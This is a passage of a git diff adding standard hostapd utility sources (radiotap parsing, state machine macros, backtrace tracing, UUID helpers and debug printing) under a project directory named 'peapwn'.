[IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, + [IEEE80211_RADIOTAP_ANTENNA] = 0x11, + [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, + [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11, + [IEEE80211_RADIOTAP_RX_FLAGS] = 0x22, + [IEEE80211_RADIOTAP_TX_FLAGS] = 0x22, + [IEEE80211_RADIOTAP_RTS_RETRIES] = 0x11, + [IEEE80211_RADIOTAP_DATA_RETRIES] = 0x11, + /* + * add more here as they are defined in + * include/net/ieee80211_radiotap.h + */ + }; + + /* + * for every radiotap entry we can at + * least skip (by knowing the length)... + */ + + while (iterator->arg_index < (int) sizeof(rt_sizes)) { + int hit = 0; + int pad; + + if (!(iterator->bitmap_shifter & 1)) + goto next_entry; /* arg not present */ + + /* + * arg is present, account for alignment padding + * 8-bit args can be at any alignment + * 16-bit args must start on 16-bit boundary + * 32-bit args must start on 32-bit boundary + * 64-bit args must start on 64-bit boundary + * + * note that total arg size can differ from alignment of + * elements inside arg, so we use upper nybble of length + * table to base alignment on + * + * also note: these alignments are ** relative to the + * start of the radiotap header **. There is no guarantee + * that the radiotap header itself is aligned on any + * kind of boundary. + * + * the above is why get_unaligned() is used to dereference + * multibyte elements from the radiotap area + */ + + pad = (((ulong)iterator->arg) - + ((ulong)iterator->rtheader)) & + ((rt_sizes[iterator->arg_index] >> 4) - 1); + + if (pad) + iterator->arg += + (rt_sizes[iterator->arg_index] >> 4) - pad; + + /* + * this is what we will return to user, but we need to + * move on first so next call has something fresh to test + */ + iterator->this_arg_index = iterator->arg_index; + iterator->this_arg = iterator->arg; + hit = 1; + + /* internally move on the size of this arg */ + iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; + + /* + * check for insanity where we are given a bitmap that + * claims to have more arg content than the length of the + * radiotap section. We will normally end up equalling this + * max_length on the last arg, never exceeding it. + */ + + if (((ulong)iterator->arg - (ulong)iterator->rtheader) > + (ulong) iterator->max_length) + return -EINVAL; + + next_entry: + iterator->arg_index++; + if (unlikely((iterator->arg_index & 31) == 0)) { + /* completed current u32 bitmap */ + if (iterator->bitmap_shifter & 1) { + /* b31 was set, there is more */ + /* move to next u32 bitmap */ + iterator->bitmap_shifter = le32_to_cpu( + get_unaligned(iterator->next_bitmap)); + iterator->next_bitmap++; + } else + /* no more bitmaps: end */ + iterator->arg_index = sizeof(rt_sizes); + } else /* just try the next bit */ + iterator->bitmap_shifter >>= 1; + + /* if we found a valid arg earlier, return it now */ + if (hit) + return 0; + } + + /* we don't know how to handle any more args, we're done */ + return -ENOENT; +} diff --git a/peapwn/mods/hostap/src/utils/radiotap.h b/peapwn/mods/hostap/src/utils/radiotap.h new file mode 100644 index 000000000..137288f9a --- /dev/null +++ b/peapwn/mods/hostap/src/utils/radiotap.h @@ -0,0 +1,243 @@ +/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ +/* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ + +/*- + * Copyright (c) 2003, 2004 David Young. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of David Young may not be used to endorse or promote + * products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID + * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY + * OF SUCH DAMAGE. + */ + +/* + * Modifications to fit into the linux IEEE 802.11 stack, + * Mike Kershaw (dragorn@kismetwireless.net) + */ + +#ifndef IEEE80211RADIOTAP_H +#define IEEE80211RADIOTAP_H + +#include + +/* Base version of the radiotap packet header data */ +#define PKTHDR_RADIOTAP_VERSION 0 + +/* A generic radio capture format is desirable. There is one for + * Linux, but it is neither rigidly defined (there were not even + * units given for some fields) nor easily extensible. + * + * I suggest the following extensible radio capture format. It is + * based on a bitmap indicating which fields are present. + * + * I am trying to describe precisely what the application programmer + * should expect in the following, and for that reason I tell the + * units and origin of each measurement (where it applies), or else I + * use sufficiently weaselly language ("is a monotonically nondecreasing + * function of...") that I cannot set false expectations for lawyerly + * readers. + */ + +/* The radio capture header precedes the 802.11 header. + * All data in the header is little endian on all platforms. + */ +struct ieee80211_radiotap_header { + uint8_t it_version; /* Version 0. Only increases + * for drastic changes, + * introduction of compatible + * new fields does not count. + */ + uint8_t it_pad; + uint16_t it_len; /* length of the whole + * header in bytes, including + * it_version, it_pad, + * it_len, and data fields. + */ + uint32_t it_present; /* A bitmap telling which + * fields are present. Set bit 31 + * (0x80000000) to extend the + * bitmap by another 32 bits. + * Additional extensions are made + * by setting bit 31. + */ +}; + +/* Name Data type Units + * ---- --------- ----- + * + * IEEE80211_RADIOTAP_TSFT __le64 microseconds + * + * Value in microseconds of the MAC's 64-bit 802.11 Time + * Synchronization Function timer when the first bit of the + * MPDU arrived at the MAC. For received frames, only. + * + * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap + * + * Tx/Rx frequency in MHz, followed by flags (see below). + * + * IEEE80211_RADIOTAP_FHSS uint16_t see below + * + * For frequency-hopping radios, the hop set (first byte) + * and pattern (second byte). + * + * IEEE80211_RADIOTAP_RATE u8 500kb/s + * + * Tx/Rx data rate + * + * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from + * one milliwatt (dBm) + * + * RF signal power at the antenna, decibel difference from + * one milliwatt. + * + * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from + * one milliwatt (dBm) + * + * RF noise power at the antenna, decibel difference from one + * milliwatt. + * + * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) + * + * RF signal power at the antenna, decibel difference from an + * arbitrary, fixed reference. + * + * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) + * + * RF noise power at the antenna, decibel difference from an + * arbitrary, fixed reference point. + * + * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless + * + * Quality of Barker code lock. Unitless. Monotonically + * nondecreasing with "better" lock strength. Called "Signal + * Quality" in datasheets. (Is there a standard way to measure + * this?) + * + * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless + * + * Transmit power expressed as unitless distance from max + * power set at factory calibration. 0 is max power. + * Monotonically nondecreasing with lower power levels. + * + * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) + * + * Transmit power expressed as decibel distance from max power + * set at factory calibration. 0 is max power. Monotonically + * nondecreasing with lower power levels. + * + * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from + * one milliwatt (dBm) + * + * Transmit power expressed as dBm (decibels from a 1 milliwatt + * reference). This is the absolute power level measured at + * the antenna port. + * + * IEEE80211_RADIOTAP_FLAGS u8 bitmap + * + * Properties of transmitted and received frames. See flags + * defined below. + * + * IEEE80211_RADIOTAP_ANTENNA u8 antenna index + * + * Unitless indication of the Rx/Tx antenna for this packet. + * The first antenna is antenna 0. + * + * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap + * + * Properties of received frames. See flags defined below. + * + * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap + * + * Properties of transmitted frames. See flags defined below. + * + * IEEE80211_RADIOTAP_RTS_RETRIES u8 data + * + * Number of rts retries a transmitted frame used. + * + * IEEE80211_RADIOTAP_DATA_RETRIES u8 data + * + * Number of unicast retries a transmitted frame used. + * + */ +enum ieee80211_radiotap_type { + IEEE80211_RADIOTAP_TSFT = 0, + IEEE80211_RADIOTAP_FLAGS = 1, + IEEE80211_RADIOTAP_RATE = 2, + IEEE80211_RADIOTAP_CHANNEL = 3, + IEEE80211_RADIOTAP_FHSS = 4, + IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, + IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, + IEEE80211_RADIOTAP_LOCK_QUALITY = 7, + IEEE80211_RADIOTAP_TX_ATTENUATION = 8, + IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, + IEEE80211_RADIOTAP_DBM_TX_POWER = 10, + IEEE80211_RADIOTAP_ANTENNA = 11, + IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, + IEEE80211_RADIOTAP_DB_ANTNOISE = 13, + IEEE80211_RADIOTAP_RX_FLAGS = 14, + IEEE80211_RADIOTAP_TX_FLAGS = 15, + IEEE80211_RADIOTAP_RTS_RETRIES = 16, + IEEE80211_RADIOTAP_DATA_RETRIES = 17, + IEEE80211_RADIOTAP_EXT = 31 +}; + +/* Channel flags. */ +#define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ +#define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ +#define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ +#define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ +#define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ +#define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ +#define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ +#define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ + +/* For IEEE80211_RADIOTAP_FLAGS */ +#define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received + * during CFP + */ +#define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received + * with short + * preamble + */ +#define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received + * with WEP encryption + */ +#define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received + * with fragmentation + */ +#define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ +#define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between + * 802.11 header and payload + * (to 32-bit boundary) + */ +/* For IEEE80211_RADIOTAP_RX_FLAGS */ +#define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */ + +/* For IEEE80211_RADIOTAP_TX_FLAGS */ +#define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive + * retries */ +#define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ +#define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ +#define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* don't expect an ACK */ + +#endif /* IEEE80211_RADIOTAP_H */ diff --git a/peapwn/mods/hostap/src/utils/radiotap_iter.h b/peapwn/mods/hostap/src/utils/radiotap_iter.h new file mode 100644 index 000000000..2e0e87296 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/radiotap_iter.h @@ -0,0 +1,56 @@ +/* + * Radiotap parser + * + * Copyright 2007 Andy Green + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#ifndef __RADIOTAP_ITER_H +#define __RADIOTAP_ITER_H + +#include "radiotap.h" + +/* Radiotap header iteration + * implemented in radiotap.c + */ +/** + * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args + * @rtheader: pointer to the radiotap header we are walking through + * @max_length: length of radiotap header in cpu byte ordering + * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg + * @this_arg: pointer to current radiotap arg + * @arg_index: internal next argument index + * @arg: internal next argument pointer + * @next_bitmap: internal pointer to next present u32 + * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present + */ + +struct ieee80211_radiotap_iterator { + struct ieee80211_radiotap_header *rtheader; + int max_length; + int this_arg_index; + unsigned char *this_arg; + + int arg_index; + unsigned char *arg; + uint32_t *next_bitmap; + uint32_t bitmap_shifter; +}; + +extern int ieee80211_radiotap_iterator_init( + struct ieee80211_radiotap_iterator *iterator, + struct ieee80211_radiotap_header *radiotap_header, + int max_length); + +extern int ieee80211_radiotap_iterator_next( + struct ieee80211_radiotap_iterator *iterator); + +#endif /* __RADIOTAP_ITER_H */ diff --git a/peapwn/mods/hostap/src/utils/state_machine.h b/peapwn/mods/hostap/src/utils/state_machine.h new file mode 100644 index 000000000..a51431578 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/state_machine.h @@ -0,0 +1,138 @@ +/* + * wpa_supplicant/hostapd - State machine definitions + * Copyright (c) 2002-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file includes a set of pre-processor macros that can be used to + * implement a state machine. In addition to including this header file, each + * file implementing a state machine must define STATE_MACHINE_DATA to be the + * data structure including state variables (enum machine_state, + * Boolean changed), and STATE_MACHINE_DEBUG_PREFIX to be a string that is used + * as a prefix for all debug messages. If SM_ENTRY_MA macro is used to define + * a group of state machines with shared data structure, STATE_MACHINE_ADDR + * needs to be defined to point to the MAC address used in debug output. + * SM_ENTRY_M macro can be used to define similar group of state machines + * without this additional debug info. + */ + +#ifndef STATE_MACHINE_H +#define STATE_MACHINE_H + +/** + * SM_STATE - Declaration of a state machine function + * @machine: State machine name + * @state: State machine state + * + * This macro is used to declare a state machine function. It is used in place + * of a C function definition to declare functions to be run when the state is + * entered by calling SM_ENTER or SM_ENTER_GLOBAL. + */ +#define SM_STATE(machine, state) \ +static void sm_ ## machine ## _ ## state ## _Enter(STATE_MACHINE_DATA *sm, \ + int global) + +/** + * SM_ENTRY - State machine function entry point + * @machine: State machine name + * @state: State machine state + * + * This macro is used inside each state machine function declared with + * SM_STATE. SM_ENTRY should be in the beginning of the function body, but + * after declaration of possible local variables. This macro prints debug + * information about state transition and update the state machine state. + */ +#define SM_ENTRY(machine, state) \ +if (!global || sm->machine ## _state != machine ## _ ## state) { \ + sm->changed = TRUE; \ + wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " #machine \ + " entering state " #state); \ +} \ +sm->machine ## _state = machine ## _ ## state; + +/** + * SM_ENTRY_M - State machine function entry point for state machine group + * @machine: State machine name + * @_state: State machine state + * @data: State variable prefix (full variable: prefix_state) + * + * This macro is like SM_ENTRY, but for state machine groups that use a shared + * data structure for more than one state machine. Both machine and prefix + * parameters are set to "sub-state machine" name. prefix is used to allow more + * than one state variable to be stored in the same data structure. + */ +#define SM_ENTRY_M(machine, _state, data) \ +if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ + sm->changed = TRUE; \ + wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " \ + #machine " entering state " #_state); \ +} \ +sm->data ## _ ## state = machine ## _ ## _state; + +/** + * SM_ENTRY_MA - State machine function entry point for state machine group + * @machine: State machine name + * @_state: State machine state + * @data: State variable prefix (full variable: prefix_state) + * + * This macro is like SM_ENTRY_M, but a MAC address is included in debug + * output. STATE_MACHINE_ADDR has to be defined to point to the MAC address to + * be included in debug. + */ +#define SM_ENTRY_MA(machine, _state, data) \ +if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ + sm->changed = TRUE; \ + wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " MACSTR " " \ + #machine " entering state " #_state, \ + MAC2STR(STATE_MACHINE_ADDR)); \ +} \ +sm->data ## _ ## state = machine ## _ ## _state; + +/** + * SM_ENTER - Enter a new state machine state + * @machine: State machine name + * @state: State machine state + * + * This macro expands to a function call to a state machine function defined + * with SM_STATE macro. SM_ENTER is used in a state machine step function to + * move the state machine to a new state. + */ +#define SM_ENTER(machine, state) \ +sm_ ## machine ## _ ## state ## _Enter(sm, 0) + +/** + * SM_ENTER_GLOBAL - Enter a new state machine state based on global rule + * @machine: State machine name + * @state: State machine state + * + * This macro is like SM_ENTER, but this is used when entering a new state + * based on a global (not specific to any particular state) rule. A separate + * macro is used to avoid unwanted debug message floods when the same global + * rule is forcing a state machine to remain in on state. + */ +#define SM_ENTER_GLOBAL(machine, state) \ +sm_ ## machine ## _ ## state ## _Enter(sm, 1) + +/** + * SM_STEP - Declaration of a state machine step function + * @machine: State machine name + * + * This macro is used to declare a state machine step function. It is used in + * place of a C function definition to declare a function that is used to move + * state machine to a new state based on state variables. This function uses + * SM_ENTER and SM_ENTER_GLOBAL macros to enter new state. + */ +#define SM_STEP(machine) \ +static void sm_ ## machine ## _Step(STATE_MACHINE_DATA *sm) + +/** + * SM_STEP_RUN - Call the state machine step function + * @machine: State machine name + * + * This macro expands to a function call to a state machine step function + * defined with SM_STEP macro. + */ +#define SM_STEP_RUN(machine) sm_ ## machine ## _Step(sm) + +#endif /* STATE_MACHINE_H */ diff --git a/peapwn/mods/hostap/src/utils/trace.c b/peapwn/mods/hostap/src/utils/trace.c new file mode 100644 index 000000000..6795d417d --- /dev/null +++ b/peapwn/mods/hostap/src/utils/trace.c @@ -0,0 +1,323 @@ +/* + * Backtrace debugging + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "trace.h" + +#ifdef WPA_TRACE + +static struct dl_list active_references = +{ &active_references, &active_references }; + +#ifdef WPA_TRACE_BFD +#include +#ifdef __linux__ +#include +#else /* __linux__ */ +#include +#endif /* __linux__ */ + +static char *prg_fname = NULL; +static bfd *cached_abfd = NULL; +static asymbol **syms = NULL; + +static void get_prg_fname(void) +{ + char exe[50], fname[512]; + int len; + os_snprintf(exe, sizeof(exe) - 1, "/proc/%u/exe", getpid()); + len = readlink(exe, fname, sizeof(fname) - 1); + if (len < 0 || len >= (int) sizeof(fname)) { + perror("readlink"); + return; + } + fname[len] = '\0'; + prg_fname = strdup(fname); +} + + +static bfd * open_bfd(const char *fname) +{ + bfd *abfd; + char **matching; + + abfd = bfd_openr(prg_fname, NULL); + if (abfd == NULL) { + wpa_printf(MSG_INFO, "bfd_openr failed"); + return NULL; + } + + if (bfd_check_format(abfd, bfd_archive)) { + wpa_printf(MSG_INFO, "bfd_check_format failed"); + bfd_close(abfd); + return NULL; + } + + if (!bfd_check_format_matches(abfd, bfd_object, &matching)) { + wpa_printf(MSG_INFO, "bfd_check_format_matches failed"); + free(matching); + bfd_close(abfd); + return NULL; + } + + return abfd; +} + + +static void read_syms(bfd *abfd) +{ + long storage, symcount; + bfd_boolean dynamic = FALSE; + + if (syms) + return; + + if (!(bfd_get_file_flags(abfd) & HAS_SYMS)) { + wpa_printf(MSG_INFO, "No symbols"); + return; + } + + storage = bfd_get_symtab_upper_bound(abfd); + if (storage == 0) { + storage = bfd_get_dynamic_symtab_upper_bound(abfd); + dynamic = TRUE; + } + if (storage < 0) { + wpa_printf(MSG_INFO, "Unknown symtab upper bound"); + return; + } + + syms = malloc(storage); + if (syms == NULL) { + wpa_printf(MSG_INFO, "Failed to allocate memory for symtab " + "(%ld bytes)", storage); + return; + } + if (dynamic) + symcount = bfd_canonicalize_dynamic_symtab(abfd, syms); + else + symcount = bfd_canonicalize_symtab(abfd, syms); + if (symcount < 0) { + wpa_printf(MSG_INFO, "Failed to canonicalize %ssymtab", + dynamic ? "dynamic " : ""); + free(syms); + syms = NULL; + return; + } +} + + +struct bfd_data { + bfd_vma pc; + bfd_boolean found; + const char *filename; + const char *function; + unsigned int line; +}; + + +static void find_addr_sect(bfd *abfd, asection *section, void *obj) +{ + struct bfd_data *data = obj; + bfd_vma vma; + bfd_size_type size; + + if (data->found) + return; + + if (!(bfd_get_section_vma(abfd, section))) + return; + + vma = bfd_get_section_vma(abfd, section); + if (data->pc < vma) + return; + + size = bfd_get_section_size(section); + if (data->pc >= vma + size) + return; + + data->found = bfd_find_nearest_line(abfd, section, syms, + data->pc - vma, + &data->filename, + &data->function, + &data->line); +} + + +static void wpa_trace_bfd_addr(void *pc) +{ + bfd *abfd = cached_abfd; + struct bfd_data data; + const char *name; + char *aname = NULL; + const char *filename; + + if (abfd == NULL) + return; + + data.pc = (bfd_vma) pc; + data.found = FALSE; + bfd_map_over_sections(abfd, find_addr_sect, &data); + + if (!data.found) + return; + + do { + if (data.function) + aname = bfd_demangle(abfd, data.function, + DMGL_ANSI | DMGL_PARAMS); + name = aname ? aname : data.function; + filename = data.filename; + if (filename) { + char *end = os_strrchr(filename, '/'); + int i = 0; + while (*filename && *filename == prg_fname[i] && + filename <= end) { + filename++; + i++; + } + } + wpa_printf(MSG_INFO, " %s() %s:%u", + name, filename, data.line); + free(aname); + + data.found = bfd_find_inliner_info(abfd, &data.filename, + &data.function, &data.line); + } while (data.found); +} + + +static const char * wpa_trace_bfd_addr2func(void *pc) +{ + bfd *abfd = cached_abfd; + struct bfd_data data; + + if (abfd == NULL) + return NULL; + + data.pc = (bfd_vma) pc; + data.found = FALSE; + bfd_map_over_sections(abfd, find_addr_sect, &data); + + if (!data.found) + return NULL; + + return data.function; +} + + +static void wpa_trace_bfd_init(void) +{ + if (!prg_fname) { + get_prg_fname(); + if (!prg_fname) + return; + } + + if (!cached_abfd) { + cached_abfd = open_bfd(prg_fname); + if (!cached_abfd) { + wpa_printf(MSG_INFO, "Failed to open bfd"); + return; + } + } + + read_syms(cached_abfd); + if (!syms) { + wpa_printf(MSG_INFO, "Failed to read symbols"); + return; + } +} + + +void wpa_trace_dump_funcname(const char *title, void *pc) +{ + wpa_printf(MSG_INFO, "WPA_TRACE: %s: %p", title, pc); + wpa_trace_bfd_init(); + wpa_trace_bfd_addr(pc); +} + +#else /* WPA_TRACE_BFD */ + +#define wpa_trace_bfd_init() do { } while (0) +#define wpa_trace_bfd_addr(pc) do { } while (0) +#define wpa_trace_bfd_addr2func(pc) NULL + +#endif /* WPA_TRACE_BFD */ + +void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num) +{ + char **sym; + int i; + enum { TRACE_HEAD, TRACE_RELEVANT, TRACE_TAIL } state; + + wpa_trace_bfd_init(); + wpa_printf(MSG_INFO, "WPA_TRACE: %s - START", title); + sym = backtrace_symbols(btrace, btrace_num); + state = TRACE_HEAD; + for (i = 0; i < btrace_num; i++) { + const char *func = wpa_trace_bfd_addr2func(btrace[i]); + if (state == TRACE_HEAD && func && + (os_strcmp(func, "wpa_trace_add_ref_func") == 0 || + os_strcmp(func, "wpa_trace_check_ref") == 0 || + os_strcmp(func, "wpa_trace_show") == 0)) + continue; + if (state == TRACE_TAIL && sym && sym[i] && + os_strstr(sym[i], "__libc_start_main")) + break; + if (state == TRACE_HEAD) + state = TRACE_RELEVANT; + if (sym) + wpa_printf(MSG_INFO, "[%d]: %s", i, sym[i]); + else + wpa_printf(MSG_INFO, "[%d]: ?? [%p]", i, btrace[i]); + wpa_trace_bfd_addr(btrace[i]); + if (state == TRACE_RELEVANT && func && + os_strcmp(func, "main") == 0) + state = TRACE_TAIL; + } + free(sym); + wpa_printf(MSG_INFO, "WPA_TRACE: %s - END", title); +} + + +void wpa_trace_show(const char *title) +{ + struct info { + WPA_TRACE_INFO + } info; + wpa_trace_record(&info); + wpa_trace_dump(title, &info); +} + + +void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr) +{ + if (addr == NULL) + return; + ref->addr = addr; + wpa_trace_record(ref); + dl_list_add(&active_references, &ref->list); +} + + +void wpa_trace_check_ref(const void *addr) +{ + struct wpa_trace_ref *ref; + dl_list_for_each(ref, &active_references, struct wpa_trace_ref, list) { + if (addr != ref->addr) + continue; + wpa_trace_show("Freeing referenced memory"); + wpa_trace_dump("Reference registration", ref); + abort(); + } +} + +#endif /* WPA_TRACE */ diff --git a/peapwn/mods/hostap/src/utils/trace.h b/peapwn/mods/hostap/src/utils/trace.h new file mode 100644 index 000000000..38f43fbfa --- /dev/null +++ b/peapwn/mods/hostap/src/utils/trace.h @@ -0,0 +1,68 @@ +/* + * Backtrace debugging + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TRACE_H +#define TRACE_H + +#define WPA_TRACE_LEN 16 + +#ifdef WPA_TRACE +#include + +#include "list.h" + +#define WPA_TRACE_INFO void *btrace[WPA_TRACE_LEN]; int btrace_num; + +struct wpa_trace_ref { + struct dl_list list; + const void *addr; + WPA_TRACE_INFO +}; +#define WPA_TRACE_REF(name) struct wpa_trace_ref wpa_trace_ref_##name + +#define wpa_trace_dump(title, ptr) \ + wpa_trace_dump_func((title), (ptr)->btrace, (ptr)->btrace_num) +void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num); +#define wpa_trace_record(ptr) \ + (ptr)->btrace_num = backtrace((ptr)->btrace, WPA_TRACE_LEN) +void wpa_trace_show(const char *title); +#define wpa_trace_add_ref(ptr, name, addr) \ + wpa_trace_add_ref_func(&(ptr)->wpa_trace_ref_##name, (addr)) +void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr); +#define wpa_trace_remove_ref(ptr, name, addr) \ + do { \ + if ((addr)) \ + dl_list_del(&(ptr)->wpa_trace_ref_##name.list); \ + } while (0) +void wpa_trace_check_ref(const void *addr); + +#else /* WPA_TRACE */ + +#define WPA_TRACE_INFO +#define WPA_TRACE_REF(n) +#define wpa_trace_dump(title, ptr) do { } while (0) +#define wpa_trace_record(ptr) do { } while (0) +#define wpa_trace_show(title) do { } while (0) +#define wpa_trace_add_ref(ptr, name, addr) do { } while (0) +#define wpa_trace_remove_ref(ptr, name, addr) do { } while (0) +#define wpa_trace_check_ref(addr) do { } while (0) + +#endif /* WPA_TRACE */ + + +#ifdef WPA_TRACE_BFD + +void wpa_trace_dump_funcname(const char *title, void *pc); + +#else /* WPA_TRACE_BFD */ + +#define wpa_trace_dump_funcname(title, pc) do { } while (0) + +#endif /* WPA_TRACE_BFD */ + +#endif /* TRACE_H */ diff --git a/peapwn/mods/hostap/src/utils/uuid.c b/peapwn/mods/hostap/src/utils/uuid.c new file mode 100644 index 000000000..2aa4bcb5f --- /dev/null +++ b/peapwn/mods/hostap/src/utils/uuid.c @@ -0,0 +1,71 @@ +/* + * Universally Unique IDentifier (UUID) + * Copyright (c) 2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "uuid.h" + +int uuid_str2bin(const char *str, u8 *bin) +{ + const char *pos; + u8 *opos; + + pos = str; + opos = bin; + + if (hexstr2bin(pos, opos, 4)) + return -1; + pos += 8; + opos += 4; + + if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) + return -1; + pos += 4; + opos += 2; + + if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) + return -1; + pos += 4; + opos += 2; + + if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) + return -1; + pos += 4; + opos += 2; + + if (*pos++ != '-' || hexstr2bin(pos, opos, 6)) + return -1; + + return 0; +} + + +int uuid_bin2str(const u8 *bin, char *str, size_t max_len) +{ + int len; + len = os_snprintf(str, max_len, "%02x%02x%02x%02x-%02x%02x-%02x%02x-" + "%02x%02x-%02x%02x%02x%02x%02x%02x", + bin[0], bin[1], bin[2], bin[3], + bin[4], bin[5], bin[6], bin[7], + bin[8], bin[9], bin[10], bin[11], + bin[12], bin[13], bin[14], bin[15]); + if (len < 0 || (size_t) len >= max_len) + return -1; + return 0; +} + + +int is_nil_uuid(const u8 *uuid) +{ + int i; + for (i = 0; i < UUID_LEN; i++) + if (uuid[i]) + return 0; + return 1; +} diff --git a/peapwn/mods/hostap/src/utils/uuid.h b/peapwn/mods/hostap/src/utils/uuid.h new file mode 100644 index 000000000..5e860cbc5 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/uuid.h @@ -0,0 +1,18 @@ +/* + * Universally Unique IDentifier (UUID) + * Copyright (c) 2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef UUID_H +#define UUID_H + +#define UUID_LEN 16 + +int uuid_str2bin(const char *str, u8 *bin); +int uuid_bin2str(const u8 *bin, char *str, size_t max_len); +int is_nil_uuid(const u8 *uuid); + +#endif /* UUID_H */ diff --git a/peapwn/mods/hostap/src/utils/wpa_debug.c b/peapwn/mods/hostap/src/utils/wpa_debug.c new file mode 100644 index 000000000..38ea8aa38 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/wpa_debug.c @@ -0,0 +1,735 @@ +/* + * wpa_supplicant/hostapd / Debug prints + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" + +#ifdef CONFIG_DEBUG_SYSLOG +#include + +static int wpa_debug_syslog = 0; +#endif /* CONFIG_DEBUG_SYSLOG */ + +#ifdef CONFIG_DEBUG_LINUX_TRACING +#include +#include +#include +#include +#include + +static FILE *wpa_debug_tracing_file = NULL; + +#define WPAS_TRACE_PFX "wpas <%d>: " +#endif 